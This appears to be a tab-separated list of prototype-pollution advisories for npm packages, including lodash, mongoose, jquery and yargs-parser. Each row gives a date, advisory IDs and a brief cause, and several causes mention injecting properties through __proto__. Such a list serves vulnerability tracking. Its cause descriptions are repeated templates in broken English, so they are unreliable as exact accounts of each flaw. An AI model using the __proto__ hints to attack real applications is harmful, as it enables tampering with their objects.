26 Feb, 2021	SNYK-JS-RFC6902-1053318	rfc6902	yes	it allows the path being control by user input, some by design.
28 Feb, 2021	SNYK-JS-NODEREDEDITORAPI-1080621	node-red/editor-api	yes	N/A
23 Feb, 2021	SNYK-JS-MERGE-1042987	merge	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
01 Mar, 2021	SNYK-JS-PROTOTYPEDJS-1069824	prototyped.js	yes	it allows the path being control by user input, some is by design.
02 Mar, 2021	SNYK-JS-OBJECTCOLLIDER-1080739	object-collider	yes	it allows the path being control by user input, some is by design.
14 Mar, 2021	SNYK-JS-MSGPACK5-1085640	msgpack5	yes	it allows the path being control by user input, some is by design.

14 Mar, 2021	SNYK-JS-PLAINOBJECTMERGE-1085643	plain-object-merge	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
15 Mar, 2021	SNYK-JS-LYNGSMERGE-1069823	lyngs/merge	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
15 Mar, 2021	SNYK-JS-LYNGSDIGGER-1069826	lyngs/digger	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
15 Mar, 2021	SNYK-JS-NODEDIG-1069825	node-dig	yes	it allows the path being control by user input, some is by design.
18 Mar, 2021	SNYK-JS-PATCHMERGE-1086585	patchmerge	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
21 Mar, 2021	SNYK-JS-CONVICT-1062508	convict	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
22 Mar, 2021	SNYK-JS-COPYPROPS-1082870	copy-props	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
24 Mar, 2021	SNYK-JS-MONGOOSE-1086688	mongoose	yes	it allows the path being control by user input, some is by design.
Mar 19th, 2021	SNYK-JS-SETIN-1048049 https://www.npmjs.com/advisories/1657	set-in	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
Mar 12th, 2021	SNYK-JS-Y18N-1021887 https://www.npmjs.com/advisories/1654	y18n	yes	it allows the path being control by user input, some is by design.
Mar 12th, 2021	https://www.npmjs.com/advisories/1651 https://www.npmjs.com/advisories/1651	msgpack5	yes	it allows the path being control by user input, some is by design.
Mar 9th, 2021	https://www.npmjs.com/advisories/1649 SNYK-JS-MQUERY-1050858	mquery	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
Jan 23rd, 2020	https://www.npmjs.com/advisories/1463 SNYK-JS-KLONA-543063	klona	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to

	https://www.npmjs.com/advisories/1468 SNYK-JS-HAPIHOEK-548452	hapi/hoek	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Feb 10th, 2020	https://www.npmjs.com/advisories/1469 npm:qs:20170213	qs	yes	vulnerable to Prototype Override Protection Bypass library could be tricked by adding properties to object.properties using __proto__
Feb 17th, 2020	https://www.npmjs.com/advisories/1479 SNYK-JS-SUBTEXT-548915	subtext	yes	N/A
Feb 17th, 2020	https://www.npmjs.com/advisories/1484 SNYK-JS-COMMERCIALSUBTEXT-548908	commercial/subtext	yes	N/A
Mar 26th, 2020	https://www.npmjs.com/advisories/1500 SNYK-JS-YARGSPARSER-560381	yargs-parser	yes	library could be tricked by adding properties to object.properties using __proto__
Apr 6th, 2020	https://www.npmjs.com/advisories/1502 SNYK-JS-UTILSEXTEND-560385	utils-extend	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Apr 9th, 2020	https://www.npmjs.com/advisories/1506 SNYK-JS-SDS-564123	sds	yes	it allows the path being control by user input, some is by design.
Apr 9th, 2020	https://www.npmjs.com/advisories/1508 SNYK-JS-INIPARSER-564122	ini-parser	yes	library could be tricked by adding properties to object.properties using __proto__
May 20th, 2020	https://www.npmjs.com/advisories/1523 SNYK-JS-LODASH-567746	lodash	yes	recursively unsafe merge operation will allows it to merge with object that the attacker wants to
Jun 24th, 2020	https://www.npmjs.com/advisories/1542 SNYK-JS-JSONLOGICJS-674308	json-logic-js	yes	library could be tricked by adding properties to object.properties using __proto__
Sep 30th, 2020	https://www.npmjs.com/advisories/1561 SNYK-JS-NODEFORGE-598677	node-forge	yes	it allows the path being control by user input, some is by design.
Dec 9th, 2020	SNYK-JS-INI-1048974 https://www.npmjs.com/advisories/1589	ini	yes	it allows file's profile name as [__proto__]
Oct 19th, 2020	https://www.npmjs.com/advisories/1573 SNYK-JS-OBJECTPATH-1017036	object-path	yes	it allows the path being control by user input, some is by design.

Feb 19th, 2021	https://www.npmjs.com/advisories/1603 SNYK-JS-IMMER-1019369	immer	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Feb 19th, 2021	SNYK-JS-JOINTJS-1024444 https://www.npmjs.com/advisories/1607	jointjs	yes	it allows the path being control by user input, some is by design.
Feb 19th, 2021	SNYK-JS-GSAP-1054614 https://www.npmjs.com/advisories/1608	gsap	yes	library could be tricked by adding properties to object.properties using __proto__
Feb 22nd, 2021	SNYK-JS-DYNAMOOSE-1070792 https://www.npmjs.com/advisories/1610	dynamoose	yes	library could be tricked by adding properties to object.properties using __proto__
Feb 23rd, 2021	SNYK-JS-DOTTY-1069933 https://www.npmjs.com/advisories/1620	dotty	yes	it allows the path being control by user input, some is by design.
Feb 25th, 2021	npm:querystringify:20180419 https://www.npmjs.com/advisories/1634	querystringify	yes	library could be tricked by adding properties to object.properties using __proto__
Feb 26th, 2021	https://www.npmjs.com/advisories/1635 SNYK-JS-NODEREDRUNTIME-1080614	node-red/runtime	yes	N/A
Feb 6th, 2019	https://www.npmjs.com/advisories/778 SNYK-JS-DEFAULTSDEEP-173661	defaults-deep	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Apr 10th, 2019	https://www.npmjs.com/advisories/809 SNYK-JS-UPMERGE-174133	upmerge	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Apr 4th, 2019	SNYK-JS-SMARTEXTEND-174739 https://www.npmjs.com/advisories/801	smart-extend	yes	recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to
Apr 2nd, 2019	SNYK-JS-JQUERY-174006 https://www.npmjs.com/advisories/796	jquery	yes	it allows the path being control by user input, some is by design.
Feb 6th, 2019	https://www.npmjs.com/advisories/779 SNYK-JS-MPATH-72672	mpath	yes	it allows the path being control by user input, some is by design.
Feb 6th, 2019	https://www.npmjs.com/advisories/780 https://hackerone.com/reports/430291	just-extend	yes	it allows the path being control by user input, some is by design.
Feb 6th, 2019	SNYK-JS-NODEEXTEND-73641 https://www.npmjs.com/advisories/781	node.extend	yes	it allows the path being control by user input, some is by design.

Feb 13th, 2019	**https://hackerone.com/reports/380873** **https://www.npmjs.com/advisories/782**	**lodash**	**yes**	**recursively unsafe merge operation with an empty array will allows it to clone a full copy of an object that the attacker wants to**